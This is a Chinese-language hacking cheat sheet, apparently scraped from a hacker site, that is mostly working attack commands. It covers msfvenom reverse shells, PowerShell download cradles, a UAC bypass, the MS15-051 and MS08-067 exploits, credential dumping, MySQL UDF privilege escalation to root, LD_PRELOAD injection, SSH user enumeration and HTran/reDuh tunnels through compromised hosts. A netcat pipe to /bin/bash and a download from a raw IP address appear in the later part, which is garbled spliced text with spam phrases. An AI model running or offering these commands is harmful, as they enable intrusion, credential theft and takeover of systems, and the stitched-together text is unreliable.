msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe  # 显现账户配备 net user <login>  # Kali 上下载 psexec  https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx  # 运用 powershell 脚本上传 psexec.exe 到政策机器 echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1  # 运用 powershell 脚本上传 danger.exe 到政策机器 echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1  # 运用预编译的二进制文件绕过 UAC:  https://github.com/hfiref0x/UACME  # 运用 powershell 脚本上传 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到政策机器 echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1  # 在 Kali 上创立监听 nc -lvp 4444  # 以系统权限运用 Akagi64 工作 danger.exe  Akagi64.exe 1 C:UsersUserDesktopdanger.exe  # 在 Kali 上创立监听 nc -lvp 4444  # 下一步就会反弹给我们一个提过权的 shell # 以系统权限运用 PsExec 工作 danger.exe  psexec.exe –i –d –accepteula –s danger.exe 

以普通用户身份在 Win7 上反弹具有系统权限的 Shell

https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051  https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html   https://www.exploit-db.com/exploits/37049/  # 查找政策机器是否设备了补丁，输入如下指令 wmic qfe get wmic qfe | find "3057191"  # 上传编译后的运用程序并工作它  https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe  # 默许情况下其会以系统权限实行 cmd.exe，但我们需求改动源代码以工作我们上传的 danger.exe # https://github.com/hfiref0x/CVE-2015-1701 下载它并定位到 "main.c"  # 运用 wce.exe 获取已登录用户的明文账号暗码  http://www.ampliasecurity.com/research/windows-credentials-editor/  wce -w  # 运用 pwdump7 获取其他用户的暗码哈希值  http://www.heise.de/download/pwdump.html  # we can try online hash cracking tools such crackstation.net 

MS08-067 – 不运用 Metasploit

$ nmap -v -p 139, 445 --script= *** b-check-vulns --script-args=unsafe=1 192.168.31.205 $ searchsploit ms08-067 $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1 

通过 MySQL Root 账户操作系统版别 完成提权

# Mysql Server version: 5.5.44-0ubuntu0.14.04.1 (Ubuntu) $ wget 0xdeadbeef.info/exploits/raptor_udf2.c $ gcc -g -c raptor_udf2.c $ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc mysql -u root -p mysql> use mysql; mysql> create table foo(line blob); mysql> insert into foo values(load_file('/home/user/raptor_udf2.so')); mysql> select * from foo into dumpfile '/usr/lib/mysql/p "io"lugin/raptor_udf2.so'; mysql> create function do_system returns integer soname 'raptor_udf2.so'; mysql> select * from mysql.func; mysql> select do_system('echo "root:passwd" | chpasswd > /tmp/out; chown user:user /tmp/out');  user:~$ su - Password: user:~# whoami root root:~# id uid=0(root) gid=0(root) groups=0(root) 

运用 LD_PRELOAD 注入程序

$ wget https://github.com/jivoi/pentest/ldpreload_shell.c $ gcc -shared -fPIC ldpreload_shell.c -o ldpreload_shell.so $ sudo -u user LD_PRELOAD=/tmp/ldpreload_shell.so /usr/local/bin/somesoft 

针对 OpenSSH 用户进行枚举时序侵犯

注：枚举时序侵犯(“Enumeration Timing Attack”)归于侧信道侵犯/旁路侵犯(Side Channel Attack)，侧信道侵犯是指运用信道外的信息，比如加解密的速度/加解密时芯片引脚的电压/密文传输的流量和途径等进行侵犯的办法，一个词描述便是“拐弯抹角”。–参阅自 shotgun 在知乎上的解说。

osueta 是一个用于对 OpenSSH 进行时序侵犯的 python2 脚本，其可以运用时序侵犯枚举 OpenSSH 用户名，并在必定条件下可以对 OpenSSH 服务器进行 DOS 侵犯。

# https://github.com/c0r3dump3d/osueta $ ./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes $ ./osueta.py -H 192.168.10.22 -p 22 -d 15 -v yes –dos no -L userfile.txt 

运用 ReDuh 结构合法的 HTTP 恳求以树立 TCP 通道

注： ReDuh 是一个通过 HTTP 协议树立地道传输各种其他数据的东西。其可以把内网服务器的端口通过 http/https 地道转发到本机，构成一个连通回路。用于政策服务器在内网或做了端口战略的情况下联接政策服务器内部敞开端口。

对了亲～ReDuh-Gui 声称端口转发神器哦。

# https://github.com/sensepost/reDuh  # 进程 1 # 上传 reDuh.jsp 政策服务器 $ http://192.168.10.50/d/file/uploads/reDuh.jsp  # 进程 2 # 在本机工作 reDuhClient  $ java -jar reDuhClient.jar http://192.168.10.50/d/file/uploads/reDuh.jsp  # 进程 3 # 运用 nc 联接处理端口 $ nc -nvv 127.0.0.1 1010  # 进程 4 # 运用地道转发本地端口到长途政策端口 可以动态工作样本在写入和提取的后边下断点或许假设文件存储在资源段，可以运用一些东西比如CFFExplorer 提取资源数据，在IDA中可以高亮选取可疑的二进制数据，然后右键保存想要的提取的数据。[createTunnel] 7777:172.16.0.4:3389  # 进程 5 # 运用 RDP 联接长途 $ /usr/bin/rdesktop -g 1024x768 -P -z -x l -k en-us -r sound:off localhost:7777

我国黑客网站:浅淡浸透测验东西实战技巧

政策程序bug提交页面172.16.65.133 5432/t

cp psql: 'postgres' 'airforce'该键的结构为srcFilePathdstFilePath，即移动文件，当我们将dstFilePath设置为0时，也就会将src文件删去了。通过作者批改该文件，也就处理了问题。浅淡渗透测试工具实战技巧

中国黑客网站CoreAnalytics可以供应关于程序实行的前史纪录以及其时记载，基本上以天为单位。这些数据来自于两个源：下载http：//122.49.66.39/11.exe，重命名为本地的C:windowsime64.exe。· SQL Count（查询）；· 指令实行技术有束缚，比如：

360Ti-2017-0005tabulate#exec sp_dropextendedproc ’xp_dirtree’ [删去此项扩展后,将无法新建或附加数据库]1. 检查系统情况信息发现问题中国黑客网站

导读 $document_urimshta.exe作为.hta文件的宿主进程，其实行js代码的指令行办法如下:（一）下载配备go言语环境：

除此之外，zANTI可以帮忙你实行类似端口扫描、中间人侵犯、暗码复杂性检查、DoS侵犯、以及 *** 嗅探等任务。因为无源的M1卡每一次刷卡上电的时分，密钥沟通选用的随机数都是“有规矩”的，用现已碰撞出的某一扇区的密钥去探问其它扇区，在此时根据随机数的规矩即可“套”出暗码nc 10.42.0.1 1234 | /bin/bash | nc 10.42.0.1 4321浅淡渗透测试工具实战技巧

中国黑客网站功用特性nish

ang

先在其时Module下的build.gradle中的buildTypes办法中代码至如下(之前自己的配备代码不变)：

4. Defender服务无法发起？

uin:146****21中国黑客网站

ptmalloc2 – glibc7 、Wusa办法，调整之后可以作业于Windows 7到Windows 10.110136之间的系统上；

[1][2][3]黑客接单网

实践环境中，在对一个政策做渗透检验的时分，我们很少现找一个0day来渗透一个Windows 域处理器。但是，假设我们在很稀有的检验环境中给客户做渗透检验，这个时分我们就不得不找一个0day了。 浅淡渗透测试工具实战技巧

关于全部的 *** 而言，偷听这种小动作一直让他们很头疼，比如英国偷听丑闻、棱镜门等等，因此通讯保护极其重要。set remote::wmi user $user

在内网渗透中，反弹socks署理是很必要的，我们都知道用lcx来转发端口，好像很少看到有人是直 接反弹署理来联接。因为我们要联接内网的其 它机器，我们不行能一个一个的去中转端口联接，在其时控制的机器上开署理也没办法，因为对方在内网。所以我们 就用反弹署理的办法。这种办法其实我们都了解。原理图：进程一在外网服务器上实行指令HTran.exe –p –listen 9001 9000这个指令的意思是 监听两个端口，9001用来接收内网机器，9000联接sockscap的数据Waiting for Client on port:9001便是在等候内网机器联接进程二在内网机器实行指令Htran.exe -p -slave 222.242.XXX.X 9001 127.0.0.1 8009这个指令的意思是联接外网服务器，然后把数据转给内网机器的8009端口IP 是服务器的IP ，9001是服务器监听的端口，127.0.0.1 本机IP 8009上本机反弹出去的端口毕竟结果是内网机器8009–>外网机器9001–>本机scokscap运用9000端口联接外网机器上面ok了，接下来在你本机设备sockscap，联接外网服务器上的9000端口，照下图设置就ok了Sockscap 设置在控制台的”文件”-“设置”里，控制台可以将你需求署理的程序放在上面，直接拖进去即可，控制台机的程序就可以进接联接 内 网的机器了。如直接用mstsc联接内网其它机器的3389,就可以上去试暗码或是登录处理，也可以用mssql联接内网的1433，检验sa 弱口 令 等。总之反弹socks是你运用已控制的内网机器通向内网其它机器的一道桥梁。运用办法简略介绍运用一、联接内网肉鸡的3389１、具有3389权限的肉鸡上工作：htran.exe -p -listen 8000 8001２、内网肉鸡上工作：htran -p -slave 具有3389权限的肉鸡IP 8000 127.0.0.1 3389３、自己的机器直接翻开3389联接，填入 具有3389权限的肉鸡IP：8001运用二、运用socks署理１、具有3389权限的肉鸡上工作：htran.exe -p -listen 8000 8001２、htran -p -slave 公网肉鸡IP 8000 127.0.0.1 8009　（注：程序默许有必要是8009，假设批改的话，还要再看下指令，否则毕竟socks署理睬无法运用）３、接下来用用socketscap联接公网肉鸡的8001端口就可以联接那台内网肉鸡了,再通过内网肉鸡的ipWindows Hooks需求你供应：
本文标题:我国黑客网站:浅淡浸透测验东西实战技巧